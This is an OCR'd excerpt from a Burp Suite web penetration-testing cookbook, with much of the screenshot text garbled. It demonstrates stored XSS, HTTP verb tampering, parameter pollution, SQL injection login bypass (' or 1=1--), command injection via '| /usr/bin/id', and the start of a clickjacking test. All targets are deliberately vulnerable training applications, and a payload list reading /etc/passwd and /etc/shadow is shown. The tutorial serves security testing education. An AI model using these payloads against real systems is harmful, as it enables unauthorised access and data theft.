Toggle Show Popup Toggle Enforce Reset View View Captured

[omme | Lo s ey Hints Hints Security SSL DB Log Data

OWASP 2013
( Welcome To The Blog )
OWASP 2010

OWASP 2007 % Back e Help Me!

Web Services

TL S | Hints

T —Add New Blog Entry

Documentation -— View Blogs

Resources [ Add blog for anonymous J
[ Note: <b>,<i> and <u> are now allowed in blog entries J

Hello there everyonel<script»alert(l);</script>

Getting_Sfarted:
Project Whitepaper

» .
Release | Save Blog Entry |

Announcements

Figure 8.10 — Save your blog entry

3. After clicking the Save Blog Entry button, you should immediately see the popup of the
JavaScript stored on the page.
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Figure 8.11 - Evidence of stored XSS vulnerability

4. Click the OK button to close the popups. Reload the page and you will see the alert popup
again. This is because your malicious script has become a permanent part of the page. You've
successfully shown a PoC for the stored XSS vulnerability!

How it works...

Stored or persistent XSS occurs because the application not only neglects to sanitize the input but also
stores the input within the database. Therefore, when a page is reloaded and populated with database
data, the malicious script is executed along with that data.

Testing for HTTP verb tampering

HTTP requests can include methods beyond GET and POST. As a penetration tester, it is important
to determine which other HTTP verbs (that is, methods) the web server allows. Support for other
verbs may disclose sensitive information (for example, TRACE) or allow for a dangerous invocation of
application code (for example, DELETE). Let’s see how Burp Suite can help test for HTTP verb tampering.
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Getting ready

Using Altoro Mutual (https://demo.testfire.net), let’s determine whether the application
has a POST request we can manipulate into using a GET instead. If possible, the GET request will
expose sensitive data within the query string. We will login first, then map the application to look for
something interesting like a money movement transaction.

How to do it...

1. Navigate to https://demo.testfire.net. Click the Sign In button.

@ Altoro
&

Mutual x +

@ ]l ://demo.testfire.net/index.jsp | IQ ﬁ' " *' L D &

@roM utual » E@

Cuntact Us | Feedback | Ssan:h

m ONLINE BANKING LOGIN

| PERSONAL ‘ SMALL BUSINESS ‘ INSIDE ALTORO MUTUAL

Figure 8.12 - Altoro Mutual landing page

You are brought to the login form.

@ Altoro Mutual

x 4+

< - C https//demo.testfire.net/login jsp

Signin | C

AltoroMutual

@ ONLINE BANKING LOGIN

PERSONAL ‘ SMALL BUSINESS

PERSONAL

Deposit Product
Checking

Loan Products

Cards

Investments & Insurance
Other Services

SMALL BUSINESS

Deposit Products

Online Banking Login

Username: | |

Password: | |

Figure 8.13 — Altoro Mutual login page
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2. After login, navigate to Transfer Funds using the left menu.

g_[toroMutuaI >

| PERSONAL

= MY ACCOUNT SMALL

I WANT TO ...
» View Account Summary
» View Recent Transactions
= _Transrer Funds
= Search Mews Articles
= Customize Site L anguage

Hello Admin User

Welcome to Altoro Mutual Online.

800000

View Account Details:

ADMINISTRATION

. Edit Users Congratulations!

You have been pre-approved for an Altoro Gold Visa wit

Click Here to apply.
Figure 8.14 - Navigate to the Transfer Funds page

3. On the Transfer Funds page, select the Checking account and type an amount of money in
the Amount to Transfer field. Do not transfer the money yet.

QltgroMutuaI >

Sign Off | Contact Us | Feedback | Search

= MY ACCOUNT

| PERSONAL

| SMALL BUSINESS

I WANT TO ...

View Account Summary
View Recent Transactions
Transfer Funds

= Search News Articles

= Customize Site Language

ADMINISTRATION
= Edit Users

Transfer Funds

From Account:
To Account:

Amount to Transfer:

300000 Corporate v

| (800001 Checking ~] |
| [10.00 Il

Transfer Money

Privacy Policy | Security Statement | Server Status Check | REST API | © 2023 Altoro Mutual, Inc.

This web application is open source! Get your copy from GitHub and take

Figure 8.15 - Select the account to transfer to and type the amount
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4.  Go to Proxy | Intercept and toggle Intercept is on:

Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.3.3 - second

Dashboard Target Intruder Repeater Collaborator Sequencer

Extensions Learn
Intercept HTTP history WebSockets history {5} Proxy settings
Forward Drop Intercept is on Action Open browser

Figure 8.16 — Turn proxy intercept on

5.  Return to the browser and click the Transfer Money button.

Transfer Funds

From Account: | 800000 Corporate v |
To Account: | 800001 Checking v |
Amount to Transfer: ‘ 10.00 ‘

’ Transfer Money l

Figure 8.17 — Click the Transfer Money button

6. Inside Proxy | Intercept, you can easily change the verb from POST to GET by right-clicking
and selecting Change request method:
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Dashboard Target Intruder Repeater Collaborator Sequencer
Extensions Learn
HTTP history WebSockets history {S} Proxy settings

Z O Request to https://demo testfire.net:443 [65.61.137.117]

Forward | Drop | ntercept is on | Action | Open browser
Pretty Raw Hex
1 POST /bank/doTransfer HITP/1l.1l
2 Host: demo.testfire.net S
3 Cookie: JSESSIONID=EFAZESEFDSZFOE404857EDZ0EL can

ODAVMDAWEkNvenBvemFOZX41L3 I0MDULNzQZMUUS £D gwil Do passive scan

4 Content-Length: 80 .
5 Cache-Control: max-age=0 Do active scan
& Sec-Ch-Ua:

Send to Intrud Ctrl+|
7 Sec-Ch-Ua-Mobile: 20 endto & rh+
2 Sec-Ch-Ua-Platform: "™ Send to Repeater Ctrl+R
9 Upgrade-Insecure-Requests: 1

Send to Sequencer

10 Origin: https://demo.testfire.net

11 Content-Type: application/x-www-form-urlencod Send to Comparer

12 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win
Chrome/114.0.5735.110 Safari/537.36 Send to Decoder

13 Accept: S o Send to Organizer Ctrl+0
text/html,application/xhtmnl+xnl,application/x
.8,application/signed-exchange;:v=b3;q=0.7 Insert Collaborator payload

14 Sec-Fetch-Site: same-origin . 3

15 Sec-Fetch-Mode: navigate Request in browser

16 Sec-Fetch-User: 2?1 Extensions >

17 Sec-Fetch-Dest: document

2 Referer: https://demo.testfire.net/bank/trans Engagement tools >

159 Accept-Encoding: gzip, deflate Change request method

20 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 L - -

21 Connection: close Change body encoding

39

23 fromAccount=B00000&toAccount=80000Lstransrera  OPY URL

Copy as curl command (bash)
Figure 8.18 - Change POST to GET

7. Note how the request is now a GET request and the account numbers are now exposed in the
query string.
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Burp Project Intruder Repeater Window Help  Burp Suite Professional v2023.5.3 - second_edition_4.b
Dashboard Target Intruder Repeater Collaborator Sequencer Decoder

Extensions Learn

HTTP history WebSeockets history @ Proxy settings

£F B Request to https:/demo.testfire.net:443 [65.61.137.117)

Forward | Drop | ntercept is on | Action | Open browser

Pretty Raw Hex

pank /doTransfer ?fronAccount=B00000&toAccount=B00001&transferAnount=10.00&transfer=
Transfer+Money HTTP/l. | —

Host: demo.testfire.net

Cookie: JSESSIONID=EFAZES88FDSZFOE404897EDZOEL13E3BAD; AltoroAccounts=

ODAVMDAwWEkNvenBvemFOZX41L IOMDULMzQZMUU3 £D gqwMDAWITXSDaGVy aZluZ 3 4xMTAy0D IuliDRE

Cache-Control: max-age=0

Sec-Ch-Ua:

Sec-Ch-Ua-Mobile: 20

Sec-Ch-Ua-Platform: """

Upgrade-Insecure-Requests: 1

Origin: https://demo.testfire.net

10 User-Agent: Mozilla/5.0 (Vindows NT 10.0; Wing4:; x€4) AppleWebKit/537.36 (FHTML, like Ge
Chrome/114.0.5735.110 Safari/537.36

11 Accept:
text/html, application/xhtml+xml ,application/xml;q=0.9,image/avif, image/webp, image /apng,*
.B,application/signed-exchange;v=b3;q=0.7

12 Sec-Fetch-Site: same-origin

13 Sec-Fetch-Mode: navigate

14 Sec-Fetch-User: 2?1

15 Sec-Fetch-Dest: document

16 Referer: https://demo.testfire.net/bank/transfer.jsp

17 Accept-Encoding: gzip, deflate

12 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

19 Connection: close

20

(5]

=] o N s w

w0

Figure 8.19 — See sensitive data in the GET query string

8.  Click the Forward button and toggle Proxy | Intercept is off.
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9. Notice the transfer was still successful as a GET request:

&« C hittps://demo.testfire.net/bank/doTransfer & Yr H *» A 0O 2

Sign Off | Contact Us | Feedback | Saarch

AltoroMutual _ﬂ 2

& MY ACCOUNT | PERSONAL | SMALL BUSINESS | INSIDE ALTORO MUTUAL
I WANT TO ...

- View Account Summary Transfer Funds

= View Recent Transactions

= Transfer Funds From Account: I [ 800000 Corporate v

= Search News Articles

o G T To Account: | [ [800000 Corporate v

P — I —
ADMINISTRATION
) Transfer Money
= Edit Users
10.0 was successfully transferred from Account 800000 into Account 800001 at 6/8/23 5:29 AM.

Figure 8.20 - Transfer was successful

How it works...

Testing for HTTP verb tampering includes sending requests against the application using different
HTTP methods and analyzing the response received. In this recipe, the web developers allowed
both a POST and a GET verb to be used in a transfer of funds between two accounts. Why is this a
finding? Because the original POST request held sensitive data in the body of the request, whereas
a GET request exposes the data in a query string, which is captured easily in web logs of servers and
sniffed on the network wire. As a tester, you need to perform this type of test against login sequences
and other areas of the application where you see sensitive data.

Testing for HTTP parameter pollution

HTTP parameter pollution (HPP) is an attack in which multiple HTTP parameters are sent to the
web server with the same name. The intention is to determine whether the application responds in an
unanticipated manner, allowing exploitation. For example, in a GET request, additional parameters
can be added to the query string—in this fashion: "&name=value"—where name is a duplicate
parameter name already known by the application code. Likewise, HPP attacks can be performed on
POST requests by duplicating a parameter name in the POST body data.

Getting ready

Using OWASP Mutillidae II, let’s determine whether the application allows HPP attacks.
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How to do it...

1. From the OWASP Mutillidae II menu, select Login by navigating to OWASP 2013 | A1 -
Injection (Other) | HI'TP Parameter Pollution | Poll Question:

®x OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 Al - Injection (SQL)
A1l - Injection (Other) HTML Injection (HTMLI)

OWASP 2010

A2 - Broken Authentication and HTMLI via HTTP Headers

OWASP 2007 Session Management
HTMLI Via DOM Injection

i A3 - Cross Site Scripting (XSS
LD SR pting (XSS) HTMLI Via Cookie Injection

A4 - Insecure Direct Object

References Frame Source Injection

Others A5 - Security Misconfiguration Command Injection
JavaScript Injection

Documentation A6 - Sensitive Data Exposure

HTTP Parameter Pollution M| Poll Question

Figure 8.21 — Navigate to the HTTP Parameter Pollution lesson

2. Select a tool from one of the radio buttons, add your initials, and click the Submit Vote button:

( User Poll )

<§ Back e Help Me!

\: Hints \

—User Poll

[ Choose Your Favorite Security Tool }

Initial your choice to make your vote count

nmap
wireshark
tcpdump
netcat
metasploit
kismet

Cain
Ettercap
Paros

Burp Suite
Sysinternals
inSIDDer

Your Initials:|sSw

[ No choice selected ]

00000000000 ®

Figure 8.22 - Vote for a tool
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3. Switch to the Burp Suite Proxy | HTTP history tab and find the request you just performed
from the User Poll page. Note the parameter named choice. The value of this parameter is
nmap. Right-click and send this request to Repeater:
Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer @ Setting
Extensions Learn
Intercept WebSaockets history @ Proxy settings
Filter: Hiding CSS, image and general binary content C
# Host Method URL Params  Edited  Stat
220  http://192.168.29.128 v 200
==
Request Response m E]
Pretty Raw Hex B \n = Pretty Raw Hex Render E n = §
1 GET /mutillidae/index.php?page=user-poll.phpscscf-token=& 1 HTTP/l.l 200 OK =
inltialsxiuset-puJ.l-php-sulmit-bnttunxSubnit+Vct:e 2 Date: Thu, 08 Jun 2023 10:41:50 GMT =
THTTP 3 Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 g

Host: 192.16B.29.128

Upgrade-Insecure-Recquests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x&4)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.110

=W

-

PHP/5.3.2-1ubuntud. 30 with Suhosin-Patch proxy_html/3.0.1
mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 Open5S5L/0.9.8k
Phusion_Passenger/4.0.38 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.2-lubuntud.30

Safari/537.36

Accept:
text/htnl,application/xhtml+xml,applicatio
if,image/webp,image/apng,*/*;q=0.8,applica
sv=b3:q=0.7

Referer:
http://192.168.29.128/mutillidae/index.php
7 Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9,en-CA;q=0.
Cookie: showhints=1; security_level=0; PHP!
vZiieab3vvghsninen08rrfrygS; acopendivids=
swingset,jotto,phpbbl,rednine; acgroupswit]
0 Connection: close

Scan

@

Do passive scan

Do active scan

o

Send to Intruder

Send to Sequencer

o

Send to Comparer

Send to Decoder

|~

Ctrl+l
Ctrl+R

ged-In-User:

y: Accept-Encoding
tent-Length: 48703
ection: close

tent-Type: text/html

OCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01

sitional//EN"
tp://www.w3.ory/TR/1999/REC-html1401-19991224/1looge. dtd™>
1>

head>

Figure 8.23 — Send to Repeater

4. Switch to Burp Suite Repeater and add another parameter with the same name to the query
string. Let’s pick another tool from the User Poll list and append it to the query string, for
example, &choice=tcpdump. This will add two choices, &choice=nmap (original) and

&choice=tcpdump. Click Send to send the request.

5. Examine the response. Which choice did the application code accept? This is easy to find by
searching for the Your choice was string. Clearly, the duplicate choice parameter value

is the one the application code accepted to count in the User Poll vote:
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Response
Pretty

1070

-
-t w3 =3
W -

w

-
=] =]
o

w

el ]

O 00 O 0D CO 0D )

s W -

=
[
[=}

[
\
1

®
G
1|

Raw Hex Render B n =
<input name="
user-poll-php-submit-butt
on” class="button” type="
submnit” value="Submit
Vote™ />

</ud>
</tr>
<tr>
<td>
</ud>
</tr>
<tr>
<td>
</ud>
</tr>
<tr>
<td class="report-header”
ReflectedXSSExecutionPoints=

RIS
=

Your choice was tcpdump

</td>
</ee>
</table>
</form>
</fieldset>

<script type="text/javascript”>
try(
docunent. getElementById(
"id_choice™).focus|();
}
catchie] {
alert|
'Error trying to set focus on £
ield choice: ' + e.message);
}
// end try

= | | Your choice was 1 match

Figure 8.24 - Validate your change was accepted by the server

How it works...

The application code fails to check against multiple parameters with the same name when passed into
a function. The result is that the application usually acts upon the last parameter match provided. This
can result in odd behavior and unexpected results.
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Testing for SQL injection

A SQL injection attack involves an attacker providing input to the database, which is received and
used without any validation or sanitization. The result is divulging sensitive data, modifying data, or
even bypassing authentication mechanisms.

Getting ready

Using the OWASP Mutillidae II Login page, let’s determine whether the application is vulnerable to
SQL injection (SQL4i) attacks.

How to do it...

1. From the OWASP Mutillidae IT menu, select Login by navigating to OWASP 2013 | Al-Injection
(SQL) | SQLi - Bypass Authentication | Login:

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Hints: Enabled (1 - 5cript K1dd1e)

Version: 2.6.24  Security Level: 0 (Hosed) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 A1 - Injection (SQL) » | SQLi - Extract Data

A1 - Injection (Other) ¥ | SQLi - Bypass Authentication » | Login

OWASP 2010

Figure 8.25 — Navigate to the SQL injection authentication bypass lesson

2. Onthe Login screen, place invalid credentials in the Username and Password textboxes. For
example, the username is ' or 1=1-- with no password. Click the Login button.

( Login |
Back Q Help Me!
(= .
Hints
[ Please sign-in ]
Username [for1=1- )
Password ( ]

Dont have an account? Flease register here

Figure 8.26 — Login using SQLi payload
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3. Switch to the Burp Suite Proxy | HT TP history tab. Find the request with the payload of ' or
1=1--<space> within the username parameter and click the Login button. Use Inspector
to see the contents of the SQL injection payload more easily.

Figure 8.27 — Use Inspector to see your URL-encoded payload

4. Return to the Firefox browser and note you are now logged in as admin!

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Dashboard Target Intruder Repeater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions @Settings
Learn
Intercept HTTP history WebSockets history {8) Proxy settings
Filter: Hiding CSS, image and general binary content @
* Host Method URL Params  Edited  Status code
224 hittp://192.168.29.128 GET /mutillidae/index.php?popUpNotificationCode=AU1 v 200 4
2 wponeisesizs  [TPOT ™ maidsfindes phefpasesiogiphp | v 0 5
a- - .
Request Response Inspector - n IT@X
B wn = B w =
P Raw  Hex Pretty  Raw  Hex  Render T BEH A
1 POST /mutillidae/index.php?page=login.php 1 HTTP/1.1 302 Found
HTTP/1.1 2 Date: Thu, 08 Jun 2023 10:48:3% GNT Selocted text
2 Host: 192.166.25.128 3 Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3
3 Content-Length: €4 PHP/5.3.2-1lubuntud. 30 vith Suhosin-Patch +274+0r+1%3D1-—+
4 Cache-Control: max-age=0 proxy_html/3.0.1 mod python/3.3.1 Python/2.6.5 -
5 Upgrade-Insecure-Requests: 1 mod_ss1/2.2.14 OpenS5L/0.9.8k
€ Origin: http://192.166.258.128 Phusion_Passenger/4.0.38 mod _perl/2.0.4
7 Content-Type: Perl/vs.10.1 Decoded from:  URL encoding v ®
application/x-www-form-urlencoded 4 X-Powered-By: PHP/S.3.2-lubuntud.30
8 User-Agent: Mozilla/5.0 (Windows NT 10.0; 5 Set-Cookie: username=admin ' or lml==
Win€4; xE4) AppleWebKit/537.36 (KHTML, like € Set-Cook uid=1
Gecko) Chrome/114.0.5735.110 Safari/537.36 7 Location: index.php?popUpNotificationCode=AUL
9 Accept: ¢ Logged-In-User: admin
text/html,application/xhtml+xml,application/xmn % Vary: Accept-Encoding Re b 2 i
1;q=0.9, image/avif, inage /webp, image/apng, */*;q 10 Content-length: 50422 equest attributes
=0.8,application/signed-exchange;v=b3;q=0.7 11 Connection: close
10 Referer: 12 Content-Type: text/] 1 v
http: //192.166.26. 128/mutillidas/index. php2pag 13 Recuest quesy pacametess
e=login.php 14
11 Accept-Encoding: gzip, deflate 15 Request body parameters 3 v
12 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8 1€ PE HTML PUBLIC "-//W3C//DTD HTHML 4.01
13 Cookie: showhints=1; security_ level=0; ransitional//EN"
PHPSESSID=v2iieab3vvghsnjnen08rrfrg5; "http://www.w3.org/TR/1999/REC-htn1401-19959122 Request cookies 5 v
acopendivids=swingset,jotto,phpbb2,re g 4/loose.dtd">
acgroupswvithpersist=nada 17 <htal>
14 Connection: close 18 <head> Request headers 13 e
I .*pF 19 <link rel="shortcut icon"” href="
username=%27+or+1%3D1-- ssword=& ./images/favicon.ico" type="image/x-icon"
Togin-php-submit-button=Login » Response headers w v

Version: 2.6.24  Security Level: 0 (Hosed)

Hints: Enabled (1 - 5cript K1dd1e)

Logged In Admin: admin (g0t r00t?)

Home Logout Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured Data

OWASP 2013 4
OWASP 2010 7

Application

Mutillidae: Deliberately Vulnerable Web Pen-Testing

Figure 8.28 — Verify SQLi payload worked

How it works...

Without knowing any credentials, you can use a SQL injection payload, suchas ' or 1=1--<spaces,
to bypass the authentication mechanism. The application contains a SQL injection vulnerability because
the SQL code used in the backend application is constructed using the values of the textbox as is,
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without any sanitization of user input. The admin account is the first account created in the database,
so the database defaulted to that account when the SQL injection payload executed.

There’s more...

We can re-do this recipe and use a SQL injection wordlist from wfuzz within Burp Suite Intruder
to test many different payloads in the Username field. Examine the response for each attack in the
results table to determine whether the payload successfully performed a SQL injection and you are
logged in to the application.

The construction of SQL injection payloads requires some knowledge of the backend database and the
syntax required. A great resource to assist in the construction of SQL injection payloads is https://
pentestmonkey.net/category/cheat-sheet/sgl-injection.

Testing for command injection

Command injection involves an attacker attempting to invoke a system command, normally performed
in a terminal session, within an HTTP request instead. Many web applications allow system commands
through the UI for troubleshooting purposes. A web penetration tester must test whether the web
page allows further commands on the system that should normally be restricted.

Getting ready

For this recipe, you will need the SecLists payload for Unix commands on a Unix- or Linux-based
operating system:

https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/
UnixAttacks.fuzzdb.txt

Download the SecLists payload from GitHub:
https://github.com/danielmiessler/SecLists
Using the OWASP Mutillidae I DNS Lookup page, let’s determine whether the application is vulnerable

to command injection attacks.

How to do it...

1. From the OWASP Mutillidae IT menu, select DNS Lookup by navigating to OWASP 2013 |
Al-Injection (Other) | Command Injection | DNS Lookup:


https://pentestmonkey.net/category/cheat-sheet/sql-injection
https://pentestmonkey.net/category/cheat-sheet/sql-injection
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/UnixAttacks.fuzzdb.txt
https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/UnixAttacks.fuzzdb.txt
https://github.com/danielmiessler/SecLists
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@4 OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.24

Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) Not Logged In

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL Reset DB View Log View Captured

OWASP 2013 Al - Injection (SQL)

-~ — , Pen-Testing Applicati
OWASP 2010 A1 - Injection (Other) HTML Injection (HTMLI) g pp

—— A2 - Broken Authentication and HTMLi via HTTP Headers hel
OWASP 2007 Session Management o S elp
— HTMLi Via DOM Injection
i A3 - Cross Site Scripting (XSS
LG SR pting (XSS) HTMLI Via Cookie Injection
A4 - Insecure Direct Object

HTML 5 R Frame Source Injection

Others A5 - Security Misconfiguration Command Injection » | DNS Lookup

Figure 8.29 — Navigate to the Command Injection lesson

2. On the DNS Lookup page, type the IP address 127 .0.0.1 in the textbox and click the
Lookup DNS button:

( DNS Lookup )

<;§ Back e Help Me!

\ Hints

f—&.
A!A_/x Switch to SOAP Web Service Version of this Page

—

Who would you like to do a DNS lookup on?

Enter IP or hosthame

Hostname/IP (127.0.0.1

Lookup DNS

Figure 8.30 - Type in an IP address

3. Switch to the Burp Suite Proxy | HT'TP history tab and look for the request you just performed.
Right-click on Send to Intruder.

4. In the Intruder | Positions tab, clear all suggested payload markers with the Clear $ button. In
the target_host parameter, place a pipe symbol (| ) immediately following the 127.0.0.1

IP address. After the pipe symbol, place an X. Highlight the X and click the Add $ button to
wrap the X with payload markers:
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Dashboard Target Proxy Repeater Collaborator Sequencer Decc

Learn

Y & 2 x +

Payloads Resource pool Settings

@ Choose an attack type

Attack type: | Sniper

@ Payload positions

Configure the positions where payloads will be inserted, they can be added into the target as well as the base

Target: = http://192.168.29.128

POST /mutillidae/index.php?page=dns-lookup.php HTTP/1.1

Host: 192.168.29.128

Content-Length: &1

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://192.168.29.128

Content-Type: application/x-www-form-urlencoded

2 User-Agent: Mozilla/5.0 (Windows NT 10.0; WingE4; xE4) AppleWebKit/537.36 (KHTM
Safari/537.36
% Accept:

text/html,application/xhtml+xml,application/xnl;q=0.9,image/avif, image/webp,in
b3;q=0.7

10 Referer: http://192.1€68.29.128/mutillidae/index.php?page=dns-lookup.php

11 Accept-Encoding: gzip, deflate

12 Accept-Language: en-US,en;q=0.9,en-CA;q=0.8

13 Cookie: showhints=1; username=admin; uid=1; security level=0; PHPSESSID=viiiea
swingset,jotto,phpbbl,rednine; acgroupswithpersist=nada

14 Connection: close

15

1¢ target_host=127.0.0. §| §x§ s-lookup-php-subnit-button=Lookup+DNS

J o O s W PO

Figure 8.31 — Add a substitution marker at the end of the parameter along with a pipe

5. Inthe Intruder | Payloads tab, click the Load button. Browse to the location where you downloaded
the SecLists-master wordlists from GitHub. Navigate to the location of the UnixAttacks.
fuzzdb. txt wordlist and use the following to populate the Payload settings [Simple list]
box: SecLists-master/Fuzzing/UnixAttacks.fuzzdb. txt:
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Payload settings [Simple list]

This payload type lets you configure a simple list of strings that are used as payloads.

Paste
Load ...
Remove

Clear

Deduplicate

Add
Add from list ...

foUU
%00../../../../../ ./ etc/passwd

9600../ ../ o/ o/ ] S etc/shadow

900/

9600/ etc/passwd %00 >
9201960203 9:04%:0a%0d %0a ADSF

9%08x

9%0A/usr/bin/id

20NA/usr/hin/id%:0A

Enter o new item
cnier g new wen

Figure 8.32 - Load wordlist

6. Uncheck the Payload encoding box at the bottom of the Payloads tab page and then click the

Start Attack button.

7. Allow the attack to continue until you reach payload 50. Notice the responses through the
Render tab are around payload 45 or so. We can perform commands, such as id on the
operating system, which displays the results of the commands on the web page:

3. Intruder attack of http://192.168.29.128 - Temporary attack - Not saved to project file

Attack Save Columns
Results Positions Payloads Resource pool Settings
Filter: Showing all items
Request Payload Status code  Error Timeout Length Comment
- roUUr €L passWU owy ew “uiv
43 %019%02%03%04%0a%0d%0... 200 48766
S %08x 200 48757
usr/bi 200
Request Response
Pretty Raw Hex der
[ Who would you like to do a DNS lookup o
In Enter IP or hostname
Bl
Getting Started: Hostname/IP ( )
Project Whitepaper
Lookup DNS
% Results for 127.0.0.1| /usr/bin/id
Release (01d=33 (www-data) gid=33(www-data) groups=33 (www-data)
Announcements

Figure 8.33 - Evidence of command injection exploit
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8. We can also right-click this request from the results table and send to Repeater to perform

the attack again.
Attack Save Columns 3. Intruder attack of http://192.168.29.128 - Te
Results Positions Payloads Resource pool Settings

Filter: Showing all items

Request Payload Status code  Error Timeout Length Comme
43 %601%02%03%04%0a%0d %0... 200 L Scan
44 %08x 200 ‘_ Do passive scan
- =l - U Do active scan
B M Send to Intruder Ctrl+|
Pretty Raw Hex Render W Ctrl+R
1 HTTP/1.1 200 OK " Send to Sequencer
2 Date: Thu, 08 Jun 2023 12:01:38 GMT
3 Server: Apache/2.2.14 (Ubuntu) mod mono/2.4.3 P Send to Comparer

Open55L/0.9.8k Phusion Passenger/4.0.38 mod per Send to Decoder
X-Powered-By: PHP/S5.3.Z-lubuntud. 30
Logged-In-User: admin Send to Organizer Ctrl+0
Vary: Accept-Encoding

oy N s

Show response in browser

Figure 8.34 — Send to Repeater

9. In Repeater, click Send, and on the response, click the Render tab to view the results of the
command injection.
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Oushbowd  Target  Proxy ImudnCohhorm Sequencer  Decoder  Comparer logger  Owgenicer  Extensions (@) Se

Target: hittp//192.168.29.128 /F  HTIP/

Response
Raw He B ws= Pretty Raw Hex = n =
L FOST /matillidae/index, php fpage=dns=-Llockup. php e Toggle Show Togghk: [ Hesaet
HTTP/L.1 po Hints  Popup s Security ss1 DB

2 Host: 192.168.29.128
Content-Length: T&
4 Cache-Contzol: max-age=0
5 Upgeade-Insecure-Requescs: 1
€ Deigin: heop: /182, 168,25.108
7 Content-Type: applicacion/x-www-fors-urlsncoded
@ Ussc-Agent: Mozillas5.0 (Vindows NT 10.0: WinEd: xE4)
AppleWebFit/537.36 (FHTML, like Gecko)
Chrome/114.0,5735.110 Safaxi/537.36
¥ Accept:
ext/hal, applicacion/shealsunl, applicacion/xml :q=0.5,
image/avit, image /vebp, Lnage/ apng, */* q=0. 8 application
Jaigned-wxchange ;v=b3:q=0.T
0 Refecer:
heep: /7182, 168, 25, 128/murillidas /index , php rpage=dns-lo
oleup. php
11 Accepr-Encoding: gzip, deflate
2 Accspr=Language: en-US, en:q=0.5,#n-CA:q=0.8

DNS Lookup

[
<§ Back ’ Help Me!

Hints

@ Switch to SOAP Web Service Version of this

Cookie: showhints=l: username-adsin; uid=1; oes ¢

secuzivy_levels0:; PHFSESSID=vIiieabdvvghsninendBzefegs Who would you like to do a DNS Iooitup on?

: acopendivids=svingset, 10Tes, phpbbl, ceduine:

acgEoupavithpersiat=nada
14_Cemmection: close Enter IP or hostname
14 carget_host=127.0.0. L1%0A usx /bin/ide s

dna=1ookup-php=-sdei T-buttons Lookup+ DS ing Started: Hostname/IP :

Lookup DNS
'\.[ Results for 127.0.0.1| /usribin/id
Release [mid=23 (www-data) gid=33(www-data) gromps=13 (www-data)

Figure 8.35 — Repeat exploit to see evidence

How it works...

Failure to define and validate user input against an acceptable list of system commands can lead
to command injection vulnerabilities. In this case, the application code does not confine system
commands available through the UI, allowing visibility and execution of commands on the operating
system that should be restricted.
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Attacking the Client

Code available on the client that is executed in the browser requires testing to determine any presence
of sensitive information or the allowance of user input without server-side validation. We will learn
how to perform these tests using Burp Suite.

In this chapter, we will cover the following recipes:
o Testing for clickjacking
o Testing for DOM-based cross-site scripting
o Leveraging DOM Invader to test for DOM XSS
o Testing for JavaScript execution
o Testing for HTML injection

o Testing for client-side resource manipulation

Technical requirements
To complete the recipes in this chapter, you will need the following:

o OWASP Broken Web Applications
o  OWASP Mutillidae link

o Burp Suite Proxy Community or Professional (https://portswigger.net/BurpSuite/)


https://portswigger.net/BurpSuite/
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Testing for clickjacking

Clickjacking is also known as a Ul redress attack. This attack is a deceptive technique that tricks a
user into interacting with a transparent i f rame and, potentially, sending unauthorized commands
or sensitive information to an attacker-controlled website. Let’s see how to use Burp Clickbandit to
test whether a site is vulnerable to clickjacking.

Getting ready

We'll use the OWASP Mutillidae IT application and Burp Clickbandit to determine whether the

application protects against clickjacking attacks.

How to do it...

1. Navigate to the Home page of OWASP Mutillidae II.
2. Switch to Burp and, from the top-level menu, select Burp Clickbandit:

- Burp | Project Intruder
=.

Da Search
Co Settings

Int Configuration library

User settings >
Burp Infiltrator

| Burp Clickbandit |
Exit

Figure 9.1 — Clickbandit menu item
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3. A pop-up box explains the tool. Click the Copy Clickbandit to clipboard button:
Burp Clickbandit X

(3) Burp Clickbandit

Burp Clickbandit is a tool for generating clickjacking attacks. When you have found a web page that may be vulnerable to clickjacking,
you can use Burp Clickbandit to create an attack, and confirm that the vulnerability can be successfully exploited,

Burp Clickbandit runs in your browser using JavaScript. It works on all modern browsers except for Microsoft |E and Edge. To run Burp
Clickbandit, use the following steps:

1. Click the "Copy Clickbandit to clipboard” button below. This will copy the Clickbandit script to your clipboard.

2. In your browser, visit the web page that you want to test, in the usual way.

3. In your browser, open the web developer console. This might also be called "developer tools” or "JavaScript console”.
4, Paste the Clickbandit script into the web developer console, and press enter.

See the documentation for more details on using Burp Clickbandit,

Note: Exercise caution when running Burp Clich dit on untrusted websi

HTML output that is generated by Burp Cli

Copy Clickbandit to clipboard | Close

Figure 9.2 - Copying code to the clipboard

4. Return to the Firefox browser and the landing page of Mutillidae. Make sure you are not logged
into the application. Press F12 to bring up the developer tools. From the developer tools menu,
select Console, and look for the prompt at the bottom:

l w/s =

Release .
Announcements PHP MyAdmin Console Feature Requests
PRIA
Vau b
@ {3 Inspector [ Console [ Debugger {} StyleEditor (E Performance £k Memory = Network & Storage <> DOM B = x
